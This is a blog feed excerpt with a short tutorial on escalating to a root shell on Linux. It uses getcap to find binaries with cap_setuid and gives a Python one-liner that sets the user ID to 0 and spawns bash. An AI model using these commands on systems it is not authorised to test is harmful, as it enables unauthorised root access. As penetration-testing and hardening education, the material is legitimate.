https://slightlymore.co.uk/tags/privilege-escalation/Recent content in Privilege-Escalation on slightlymoreHugoen-GB<a href="https://creativecommons.org/licenses/by/4.0/" target="_blank" rel="license">CC BY 4.0</a> by Clinton MontagueMon, 01 Dec 2025 20:32:34 +0000https://slightlymore.co.uk/how-to-get-a-root-shell-using-results-from-getcap/Mon, 01 Dec 2025 00:00:00 +0000https://slightlymore.co.uk/how-to-get-a-root-shell-using-results-from-getcap/<p><code>getcap</code> is a program to get capabilities of others. The one which is a way in is <code>cap_setuid</code></p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">getcap -r / 2&gt;/dev/null </span></span></code></pre></div><p>If anything&rsquo;s listed which lets you script, you can use that to get a shell. Here&rsquo;s a Python example:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 -c <span class="s1">&#39;import os; os.setuid(0); os.system(&#34;/bin/bash&#34;)&#39;</span> </span></span></code></pre></div>